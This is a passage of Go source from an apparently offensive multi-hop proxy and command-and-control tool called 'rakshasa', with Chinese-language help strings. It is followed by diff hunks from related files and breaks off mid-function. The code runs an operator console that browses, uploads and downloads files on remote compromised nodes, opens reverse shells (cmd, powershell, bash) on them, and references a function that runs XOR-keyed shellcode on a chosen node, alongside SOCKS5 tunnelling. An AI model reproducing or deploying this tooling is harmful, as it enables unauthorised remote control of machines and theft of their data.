}
|
||||
type remoteCmd struct {
|
||||
cmdStatus int32
|
||||
cmd *exec.Cmd
|
||||
id uint32
|
||||
stdin io.WriteCloser
|
||||
inChan chan []byte
|
||||
translate func(in []byte) ([]byte, error)
|
||||
ping, pong int64
|
||||
}
|
||||
|
||||
func init() {
|
||||
|
||||
configShell := cliInit()
|
||||
configShell.SetPrompt("rakshasa\\config>")
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "info",
|
||||
Help: "打印当前配置",
|
||||
Func: func(c *ishell.Context) {
|
||||
c.Println("当前节点", currentNode.uuid)
|
||||
c.Println("上级节点地址", currentConfig.DstNode)
|
||||
c.Println("通讯密码", currentConfig.Password)
|
||||
c.Println("监听端口", currentConfig.Port)
|
||||
c.Println("监听IP", currentConfig.ListenIp)
|
||||
c.Println("禁止额外连接", currentConfig.Limit)
|
||||
c.Println("配置文件名", currentConfig.FileName)
|
||||
if currentConfig.FileSave {
|
||||
c.Println("当前配置:已写入文件")
|
||||
} else {
|
||||
c.Println("当前配置:未写入文件")
|
||||
}
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "save",
|
||||
Help: "保存文件",
|
||||
Func: func(c *ishell.Context) {
|
||||
if err := ConfigSave(); err == nil {
|
||||
c.Println("写入成功")
|
||||
} else {
|
||||
c.Println("保存失败", err.Error())
|
||||
}
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "d",
|
||||
Help: "修改上级节点地址,格式为 ip:端口 多个节点以,隔开 注意:不会立刻连接设置节点, 当发生 节点掉线重连 时候会连接该地址",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883")
|
||||
return
|
||||
}
|
||||
dstNode, err := common.ResolveTCPAddr(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883")
|
||||
return
|
||||
}
|
||||
currentConfig.DstNode = dstNode
|
||||
currentConfig.FileSave = false
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "password",
|
||||
Help: "修改通讯密码,立即生效",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,格式为 password \"123456\"")
|
||||
return
|
||||
}
|
||||
c.Println(c.Args)
|
||||
currentConfig.Password = c.Args[0]
|
||||
currentConfig.FileSave = false
|
||||
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.RsaPrivateKey[:16]))
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "port",
|
||||
Help: "修改监听端口,立即生效",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,格式为 port 8883")
|
||||
return
|
||||
}
|
||||
port, _ := strconv.Atoi(c.Args[0])
|
||||
if port <= 0 || port > 65535 {
|
||||
c.Println("参数错误,端口范围是1-65535")
|
||||
return
|
||||
}
|
||||
c.Println("正在关闭server监听")
|
||||
if currentNode.listen != nil {
|
||||
currentNode.listen.Close()
|
||||
currentNode.listen = nil
|
||||
}
|
||||
currentConfig.Port = port
|
||||
currentNode.port = port
|
||||
currentConfig.FileSave = false
|
||||
if err := StartServer(fmt.Sprintf(":%d", currentConfig.Port)); err != nil {
|
||||
c.Printf("启动节点失败 %v, 请重新修改监听端口",currentConfig.Port)
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "ip",
|
||||
Help: "修改本节点连接ip,当其他节点进行额外连接时候,优先使用此ip连接",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
|
||||
currentConfig.ListenIp = c.Args[0]
|
||||
currentNode.mainIp = currentConfig.ListenIp
|
||||
currentConfig.FileSave = false
|
||||
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "limit",
|
||||
Help: "修改本节点Limit设置,使用方法 limit true",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
currentConfig.Limit = c.Args[0] == "true"
|
||||
currentConfig.FileSave = false
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "f",
|
||||
Help: "修改配置文件名,使用方法 f config.yaml",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
currentConfig.FileName = c.Args[0]
|
||||
currentConfig.FileSave = false
|
||||
},
|
||||
})
|
||||
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "config",
|
||||
Help: "配置管理",
|
||||
Func: func(c *ishell.Context) {
|
||||
configShell.Run()
|
||||
},
|
||||
})
|
||||
remoteShell := cliInit()
|
||||
|
||||
remoteShell.SetPrompt("rakshasa\\remoteshell>")
|
||||
|
||||
fileShell := cliInit()
|
||||
remoteShell.AddCmd(&ishell.Cmd{
|
||||
Name: "file",
|
||||
Help: "连到节点进行文件管理,参数为id或者uuid",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
|
||||
workN, _ := getNode(c.Args[0])
|
||||
if workN == nil {
|
||||
c.Println("无法连接节点", c.Args[0])
|
||||
return
|
||||
}
|
||||
|
||||
if workN != nil {
|
||||
fileShell.Set("node", workN)
|
||||
result := make(chan interface{}, 1)
|
||||
id := workN.storeQuery(result)
|
||||
workN.Write(common.CMD_PWD, id, []byte(cert.RSAEncrypterByPriv(currentConfig.Password)))
|
||||
select {
|
||||
case pwd := <-result:
|
||||
workN.deleteQuery(id)
|
||||
pwd = strings.ReplaceAll(pwd.(string), "\\", "/")
|
||||
fileShell.Set("pwd", pwd)
|
||||
fileShell.SetPrompt(workN.uuid + " " + pwd.(string) + ">")
|
||||
fileShell.Run()
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
workN.deleteQuery(id)
|
||||
c.Println("连接", c.Args[0], "超时")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "dir",
|
||||
Help: "打印当前目录文件",
|
||||
Func: func(c *ishell.Context) {
|
||||
pwd := fileShell.Get("pwd")
|
||||
|
||||
n := c.Get("node").(*node)
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
n.Write(common.CMD_DIR, id, []byte(cert.RSAEncrypterByPriv(pwd.(string))))
|
||||
select {
|
||||
case res := <-resChan:
|
||||
n.deleteQuery(id)
|
||||
c.Println(res)
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
n.deleteQuery(id)
|
||||
c.Println("dir time out")
|
||||
}
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "cd",
|
||||
Help: "切换工作目录",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
dir := c.Args[0]
|
||||
pwd := fileShell.Get("pwd").(string)
|
||||
n := c.Get("node").(*node)
|
||||
|
||||
if strings.Contains(dir, ":/") || dir[0] == '/' || dir == "~" {
|
||||
pwd = dir
|
||||
} else {
|
||||
pwd += "/" + dir
|
||||
pwd = strings.TrimRight(getRealPath(pwd), "/")
|
||||
}
|
||||
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
n.Write(common.CMD_CD, id, []byte(cert.RSAEncrypterByPriv(pwd)))
|
||||
|
||||
select {
|
||||
case res := <-resChan:
|
||||
n.deleteQuery(id)
|
||||
if err, ok := res.(error); ok {
|
||||
c.Println(err.Error())
|
||||
} else {
|
||||
pwd = res.(string)
|
||||
fileShell.Set("pwd", pwd)
|
||||
c.SetPrompt(n.uuid + " " + pwd + ">")
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
n.deleteQuery(id)
|
||||
c.Println("dir time out")
|
||||
}
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "upload",
|
||||
Help: "上传文件 ,upload 本地文件 远程目录(为空传到工作目录)",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 && len(c.Args) != 2 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
s, err := os.Stat(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println("打开本地文件", c.Args[0], "错误 ", err)
|
||||
return
|
||||
}
|
||||
f, err := os.Open(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println("打开本地文件", c.Args[0], "错误 ", err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
pwd := fileShell.Get("pwd").(string) + "/"
|
||||
n := c.Get("node").(*node)
|
||||
|
||||
if len(c.Args) == 2 {
|
||||
pwd = c.Args[1]
|
||||
}
|
||||
pwd = strings.ReplaceAll(pwd, "\\", "/")
|
||||
c.Args[0] = strings.ReplaceAll(c.Args[0], "\\", "/")
|
||||
i := strings.LastIndex(c.Args[0], "/")
|
||||
if i == -1 {
|
||||
i = 0
|
||||
}
|
||||
|
||||
if pwd[len(pwd)-1] == '/' {
|
||||
pwd += c.Args[0][i:]
|
||||
}
|
||||
i = strings.LastIndex(pwd, "/")
|
||||
if i == -1 {
|
||||
i = 0
|
||||
}
|
||||
filename := pwd[i+1:]
|
||||
dir := pwd[:i]
|
||||
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
|
||||
pwd = dir + filename
|
||||
resChan := make(chan interface{}, 9999) //避免收消息阻塞
|
||||
|
||||
filereadChan := make(chan []byte, 10)
|
||||
|
||||
upload := func() {
|
||||
for i := 0; i < 10; i++ {
|
||||
buf := make([]byte, common.MAX_PACKAGE-len(pwd)-9)
|
||||
n, err := f.Read(buf)
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
|
||||
return
|
||||
}
|
||||
resChan <- err
|
||||
c.Println("读取文件", c.Args[0], "错误", err)
|
||||
return
|
||||
}
|
||||
|
||||
filereadChan <- buf[:n]
|
||||
}
|
||||
}
|
||||
|
||||
offset := 0
|
||||
be := len(pwd) + 1
|
||||
id := n.storeQuery(resChan)
|
||||
defer n.deleteQuery(id)
|
||||
b := []byte(pwd)
|
||||
b = append(b, 0, 0, 0, 0, 0, 0, 0, 0, 0)
|
||||
c.ProgressBar().Start()
|
||||
go upload()
|
||||
var resnum int
|
||||
for {
|
||||
select {
|
||||
case data := <-filereadChan:
|
||||
|
||||
b[be] = byte(offset)
|
||||
b[be+1] = byte(offset >> 8)
|
||||
b[be+2] = byte(offset >> 16)
|
||||
b[be+3] = byte(offset >> 24)
|
||||
b[be+4] = byte(offset >> 32)
|
||||
b[be+5] = byte(offset >> 40)
|
||||
b[be+6] = byte(offset >> 48)
|
||||
b[be+7] = byte(offset >> 56)
|
||||
offset += len(data)
|
||||
n.Write(common.CMD_UPLOAD, id, cert.RSAEncrypterByPrivByte(append(b, data...)))
|
||||
case res := <-resChan:
|
||||
switch v := res.(type) {
|
||||
case error:
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("上传失败", res)
|
||||
return
|
||||
case int64:
|
||||
resnum++
|
||||
i := v * 100 / s.Size()
|
||||
c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%"))
|
||||
c.ProgressBar().Progress(int(i))
|
||||
if v == s.Size() {
|
||||
c.ProgressBar().Stop()
|
||||
c.Println(c.Args[0], "上传成功")
|
||||
return
|
||||
}
|
||||
if resnum >= 5 {
|
||||
go upload()
|
||||
resnum -= 10
|
||||
}
|
||||
default:
|
||||
c.Println("协议错误")
|
||||
return
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("upload time out")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "download",
|
||||
Help: "下载文件 ,download 远程文件 本地目录(为空本地执行目录)",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 && len(c.Args) != 2 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
pwd := fileShell.Get("pwd").(string)
|
||||
n := c.Get("node").(*node)
|
||||
file := c.Args[0]
|
||||
file = strings.ReplaceAll(file, "\\", "/")
|
||||
|
||||
if strings.Contains(file, ":/") || file[0] == '/' {
|
||||
pwd = file
|
||||
} else {
|
||||
pwd += "/" + file
|
||||
|
||||
}
|
||||
i := strings.LastIndex(pwd, "/")
|
||||
if i == -1 {
|
||||
i = 0
|
||||
}
|
||||
filename := pwd[i+1:]
|
||||
dir := pwd[:i]
|
||||
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
|
||||
mydir, err := os.Getwd()
|
||||
local := "./" + filename
|
||||
if err == nil {
|
||||
local = mydir + "/" + filename
|
||||
}
|
||||
|
||||
if len(c.Args) == 2 {
|
||||
s, err := os.Stat(c.Args[1])
|
||||
if err == nil {
|
||||
if s.IsDir() {
|
||||
local = strings.TrimRight(c.Args[1], "/") + "/" + filename
|
||||
} else {
|
||||
local = c.Args[1]
|
||||
}
|
||||
} else {
|
||||
local = c.Args[1]
|
||||
}
|
||||
}
|
||||
pwd = dir + filename
|
||||
|
||||
result := make(chan interface{}, 999)
|
||||
id := n.storeQuery(result)
|
||||
defer n.deleteQuery(id)
|
||||
b := []byte(pwd)
|
||||
b = append(b, []byte{0, 0, 0, 0, 0, 0, 0, 0, 0}...)
|
||||
total := int64(-1)
|
||||
be := len(pwd) + 1
|
||||
b[be] = byte(total)
|
||||
b[be+1] = byte(total >> 8)
|
||||
b[be+2] = byte(total >> 16)
|
||||
b[be+3] = byte(total >> 24)
|
||||
b[be+4] = byte(total >> 32)
|
||||
b[be+5] = byte(total >> 40)
|
||||
b[be+6] = byte(total >> 48)
|
||||
b[be+7] = byte(total >> 56)
|
||||
n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b))
|
||||
c.ProgressBar().Start()
|
||||
size := int64(0)
|
||||
resnum := 0
|
||||
total = 0
|
||||
var f *os.File
|
||||
for {
|
||||
select {
|
||||
case res := <-result:
|
||||
switch v := res.(type) {
|
||||
case error:
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("下载失败", res)
|
||||
return
|
||||
case int64:
|
||||
var err error
|
||||
size = v
|
||||
f, err = os.OpenFile(local, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)
|
||||
if err != nil {
|
||||
c.Println("本地文件 ", local, "写入失败", err.Error())
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
case []byte:
|
||||
if f == nil {
|
||||
c.Println("本地文件 ", local, "不可写入")
|
||||
return
|
||||
}
|
||||
resnum++
|
||||
num, err := f.Write(v)
|
||||
if err != nil {
|
||||
c.Println("本地文件 ", local, "写入失败", err.Error())
|
||||
return
|
||||
}
|
||||
if num != len(v) {
|
||||
c.Println("本地文件 ", local, "写入失败,写入量不符")
|
||||
return
|
||||
}
|
||||
total += int64(num)
|
||||
i := total * 100 / size
|
||||
c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%"))
|
||||
c.ProgressBar().Progress(int(i))
|
||||
if total == size {
|
||||
c.ProgressBar().Stop()
|
||||
c.Println(c.Args[0], "下载成功 文件保存到", local)
|
||||
return
|
||||
}
|
||||
if resnum == 10 {
|
||||
resnum -= 10
|
||||
b[be] = byte(total)
|
||||
b[be+1] = byte(total >> 8)
|
||||
b[be+2] = byte(total >> 16)
|
||||
b[be+3] = byte(total >> 24)
|
||||
b[be+4] = byte(total >> 32)
|
||||
b[be+5] = byte(total >> 40)
|
||||
b[be+6] = byte(total >> 48)
|
||||
b[be+7] = byte(total >> 56)
|
||||
n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b))
|
||||
}
|
||||
default:
|
||||
c.Println("协议错误")
|
||||
return
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("upload time out")
|
||||
return
|
||||
}
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
remoteShell.AddCmd(&ishell.Cmd{
|
||||
Name: "new",
|
||||
Help: "与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,使用方法 connect ip:端口")
|
||||
return
|
||||
}
|
||||
for _, addr := range strings.Split(c.Args[0], ",") {
|
||||
_, err := connectNew(addr)
|
||||
if err != nil {
|
||||
c.Println("连接", addr, "失败", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
},
|
||||
})
|
||||
remoteShell.AddCmd(&ishell.Cmd{
|
||||
Name: "shell",
|
||||
Help: "反弹shell 使用方法 shell id/uuid 启动参数 ,启动参数可为空,win默认启动cmd,linux默认启动bash, 如 shell 1 powershell 。 shell 1 zsh",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) < 1 {
|
||||
c.Println("参数错误,例子 shell 1 powershell")
|
||||
return
|
||||
}
|
||||
param := ""
|
||||
if len(c.Args) == 2 {
|
||||
param = c.Args[1]
|
||||
}
|
||||
n, _ := getNode(c.Args[0])
|
||||
if n == nil {
|
||||
c.Println("无法连接节点", c.Args[0])
|
||||
return
|
||||
}
|
||||
res := make(chan interface{}, 999)
|
||||
id := n.storeQuery(res)
|
||||
|
||||
defer n.deleteQuery(id)
|
||||
p := StartCmdParam{
|
||||
Param: param,
|
||||
Size: common.GetSize(),
|
||||
}
|
||||
|
||||
b, _ := json.Marshal(p)
|
||||
n.Write(common.CMD_SHELL, id, cert.RSAEncrypterByPrivByte(b))
|
||||
s := &remoteCmd{
|
||||
cmd: nil,
|
||||
stdin: nil,
|
||||
inChan: make(chan []byte, 999),
|
||||
translate: func(in []byte) ([]byte, error) { return in, nil },
|
||||
pong: time.Now().Unix(),
|
||||
}
|
||||
|
||||
select {
|
||||
case i := <-res:
|
||||
switch v := i.(type) {
|
||||
case error:
|
||||
c.Println("启动shell失败,错误", v.Error())
|
||||
case []byte:
|
||||
data := v
|
||||
|
||||
s.id = uint32(data[0]) | uint32(data[1])<<8 | uint32(data[2])<<16 | uint32(data[3])<<24
|
||||
switch data[4] {
|
||||
case 0: //windows
|
||||
if string(data[len(data)-6:]) == string([]byte{32, 57, 51, 54, 13, 10}) { //活动代码页: 936
|
||||
//gbk转utf8
|
||||
s.translate = func(in []byte) ([]byte, error) {
|
||||
reader := transform.NewReader(bytes.NewReader(in), simplifiedchinese.GBK.NewDecoder())
|
||||
d, e := ioutil.ReadAll(reader)
|
||||
if e != nil {
|
||||
return nil, e
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
}
|
||||
case 1: //linux
|
||||
if runtime.GOOS == "windows" {
|
||||
if !common.EnableTermVt {
|
||||
s.translate = func(in []byte) ([]byte, error) {
|
||||
if in[0] == 27 {
|
||||
r, _ := regexp.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`)
|
||||
res := r.ReplaceAllString(string(in), "")
|
||||
return []byte(res), nil
|
||||
}
|
||||
return in, nil
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
atomic.CompareAndSwapInt32(&s.cmdStatus, 0, 1)
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
c.Println("启动shell失败,超时")
|
||||
return
|
||||
}
|
||||
|
||||
n.shellMap.Store(s.id, s)
|
||||
r, _ := readline.NewEx(&readline.Config{FuncIsTerminal: func() bool { return false }, ForcePrint: true})
|
||||
defer func() {
|
||||
n.shellMap.Delete(s.id)
|
||||
atomic.StoreInt32(&s.cmdStatus, -1)
|
||||
c.Println("请按回车键退出")
|
||||
r.Close()
|
||||
|
||||
}()
|
||||
|
||||
go func() {
|
||||
|
||||
for {
|
||||
|
||||
switch s.cmdStatus {
|
||||
case 1:
|
||||
|
||||
input, err := r.ReadlineEx()
|
||||
if err != nil {
|
||||
if err != readline.ErrInterrupt {
|
||||
res <- err
|
||||
return
|
||||
}
|
||||
if s.cmdStatus == 1 {
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, s.id, []byte{03})
|
||||
}
|
||||
}
|
||||
if s.cmdStatus == 1 {
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, s.id, []byte(input+"\n"))
|
||||
}
|
||||
|
||||
case 0:
|
||||
time.Sleep(time.Millisecond * 100)
|
||||
case -1:
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
tick := time.NewTicker(common.CMD_TIMEOUT / 2)
|
||||
for {
|
||||
|
||||
select {
|
||||
case b := <-s.inChan:
|
||||
s.pong = time.Now().Unix()
|
||||
if len(b) > 0 {
|
||||
b, err := s.translate(b)
|
||||
if err != nil {
|
||||
c.Println("shell 运行失败", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Print(string(b))
|
||||
}
|
||||
|
||||
case v := <-res:
|
||||
if err, ok := v.(error); ok {
|
||||
if err.Error() != "退出shell" {
|
||||
c.Println("运行shell", param, "失败", err)
|
||||
}
|
||||
|
||||
} else {
|
||||
c.Println("无法处理消息", v)
|
||||
}
|
||||
return
|
||||
case <-tick.C:
|
||||
s.ping = time.Now().Unix()
|
||||
if s.ping-s.pong > int64(common.CMD_TIMEOUT/time.Second) {
|
||||
c.Println("shell time out")
|
||||
return
|
||||
}
|
||||
n.Write(common.CMD_SHELL_DATA, s.id, nil)
|
||||
}
|
||||
}
|
||||
},
|
||||
})
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "remoteshell",
|
||||
Help: "远程shell",
|
||||
Func: func(c *ishell.Context) {
|
||||
remoteShell.Run()
|
||||
},
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
// 打印节点
|
||||
func printNodes(c *ishell.Context) {
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
var list []*node
|
||||
for _, n := range nodeMap {
|
||||
list = append(list, n)
|
||||
}
|
||||
orderNode(list)
|
||||
c.Println("ID UUID HostName GOOS IP listenIP")
|
||||
c.Println("-----------------------------------------------------------------------------------------------------------------------------")
|
||||
for k, n := range list {
|
||||
n.id = k + 1
|
||||
hostname := bytes.Repeat([]byte(" "), 22)
|
||||
copy(hostname, n.hostName)
|
||||
ip := bytes.Repeat([]byte(" "), 23)
|
||||
if n.uuid == currentNode.uuid {
|
||||
|
||||
copy(ip, "(localhost)"+":"+strconv.Itoa(n.port))
|
||||
} else {
|
||||
copy(ip, n.addr+":"+strconv.Itoa(n.port))
|
||||
}
|
||||
|
||||
listenip := n.mainIp
|
||||
goos := bytes.Repeat([]byte(" "), 11)
|
||||
copy(goos, n.goos)
|
||||
c.Printf("%2d %s %s %s %s %s\n", n.id, n.uuid, hostname, goos, ip, listenip)
|
||||
}
|
||||
}
|
||||
|
||||
func getRealPath(path string) string {
|
||||
|
||||
path_s := strings.Split(path, "/")
|
||||
realpath := []string{}
|
||||
if len(path_s) == 0 {
|
||||
return "error"
|
||||
}
|
||||
for _, value := range path_s {
|
||||
|
||||
if value == ".." {
|
||||
k := len(realpath)
|
||||
kk := k - 1
|
||||
realpath = append(realpath[:kk], realpath[k:]...)
|
||||
} else {
|
||||
realpath = append(realpath, value)
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(realpath, "/")
|
||||
}
|
||||
func printConn() {
|
||||
connMap.Range(func(key, value interface{}) bool {
|
||||
fmt.Println(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
func getNode(arg string) (*node, error) {
|
||||
l := clientLock.RLock()
|
||||
|
||||
id, err := strconv.Atoi(arg)
|
||||
|
||||
if err == nil {
|
||||
for _, n := range nodeMap {
|
||||
if n.id == id && n.uuid != currentNode.uuid {
|
||||
l.RUnlock()
|
||||
return n, nil
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v, ok := nodeMap[arg]; ok && v.uuid != currentNode.uuid {
|
||||
l.RUnlock()
|
||||
return v, nil
|
||||
}
|
||||
}
|
||||
l.RUnlock()
|
||||
|
||||
return connectNew(arg)
|
||||
}
|
||||
func getNodeWithCurrentNode(arg string) (*node, error) {
|
||||
l := clientLock.RLock()
|
||||
|
||||
id, err := strconv.Atoi(arg)
|
||||
|
||||
if err == nil {
|
||||
for _, n := range nodeMap {
|
||||
if n.id == id {
|
||||
l.RUnlock()
|
||||
return n, nil
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v, ok := nodeMap[arg]; ok {
|
||||
l.RUnlock()
|
||||
return v, nil
|
||||
}
|
||||
}
|
||||
l.RUnlock()
|
||||
|
||||
return connectNew(arg)
|
||||
}
|
||||
+2
-2
@@ -1,6 +1,7 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"cert"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
@@ -10,7 +11,6 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"cert"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"time"
|
||||
@@ -28,7 +28,7 @@ type ShellCodeStruct struct {
|
||||
func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) error {
|
||||
|
||||
if dst != "" {
|
||||
n, err := getNodeWithCurrentNode(dst)
|
||||
n, err := getNode(dst)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法链接节点%s,错误%v", dst, err)
|
||||
}
|
||||
|
||||
+43
-35
@@ -17,7 +17,6 @@ import (
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/luyu6056/ishell"
|
||||
)
|
||||
@@ -29,9 +28,9 @@ const (
|
||||
)
|
||||
|
||||
var (
|
||||
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
|
||||
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
|
||||
SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2}
|
||||
PROTOCOL_ERR = errors.New("protocolErr")
|
||||
PROTOCOL_ERR = errors.New("protocolErr")
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -44,10 +43,15 @@ const (
|
||||
CONN_REMOTE_OPEN = 1
|
||||
)
|
||||
|
||||
const (
|
||||
CONN_STATUS_NONE = iota
|
||||
CONN_STATUS_CONNECT
|
||||
)
|
||||
|
||||
type clientConnect struct {
|
||||
cfg *common.Addr
|
||||
windowsSize int64
|
||||
isClose int32
|
||||
status int32
|
||||
conn net.Conn
|
||||
udpConn net.Conn
|
||||
|
||||
@@ -109,9 +113,9 @@ func (s *clientConnect) Write(b []byte) {
|
||||
|
||||
var remoteClose = "服务器要求远程关闭"
|
||||
var nodeIsClose = "节点已经断开连接"
|
||||
func (s *clientConnect) Close(msg string) {
|
||||
if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) {
|
||||
|
||||
func (s *clientConnect) Close(msg string) {
|
||||
if atomic.CompareAndSwapInt32(&s.status, CONN_STATUS_CONNECT, CONN_STATUS_NONE) {
|
||||
<-s.wait
|
||||
s.wait <- common.CONN_STATUS_CLOSE
|
||||
s.auth = CONN_AUTH_CLOSE
|
||||
@@ -302,12 +306,12 @@ func handleSocks5Local(s *clientConnect) {
|
||||
switch common.NetWork(data[1]) {
|
||||
case common.SOCKS5_CMD_CONNECT:
|
||||
addr, port := socks5ReadAddr(data)
|
||||
if !s.connect(common.SOCKS5_CMD_CONNECT, addr, port){
|
||||
if !s.connect(common.SOCKS5_CMD_CONNECT, addr, port) {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
case common.SOCKS5_CMD_BIND:
|
||||
addr, port := socks5ReadAddr(data)
|
||||
if !s.connect(common.SOCKS5_CMD_BIND, addr, port){
|
||||
if !s.connect(common.SOCKS5_CMD_BIND, addr, port) {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
case common.SOCKS5_CMD_UDP:
|
||||
@@ -336,11 +340,11 @@ func handleSocks5Local(s *clientConnect) {
|
||||
ipb := ipToByte(localIP)
|
||||
addr, port := socks5ReadAddr(data)
|
||||
|
||||
if s.connect(common.SOCKS5_CMD_UDP, addr, port){
|
||||
if s.connect(common.SOCKS5_CMD_UDP, addr, port) {
|
||||
copy(repdata[4:], ipb)
|
||||
s.conn.Write(repdata)
|
||||
go handleSocks5Udp(s)
|
||||
}else{
|
||||
} else {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
default:
|
||||
@@ -401,7 +405,7 @@ func handleSocks5Udp(s *clientConnect) {
|
||||
if v, ok := s.udpMap.Load(ip); !ok {
|
||||
|
||||
udps := &clientConnect{
|
||||
server: s.server,
|
||||
server: s.server,
|
||||
randkey: s.randkey,
|
||||
}
|
||||
udps.udpConn = s.udpConn
|
||||
@@ -426,34 +430,38 @@ func handleSocks5Udp(s *clientConnect) {
|
||||
}
|
||||
|
||||
}
|
||||
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16)bool {
|
||||
if atomic.LoadInt32(&s.server.isClose) == 1 {
|
||||
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) bool {
|
||||
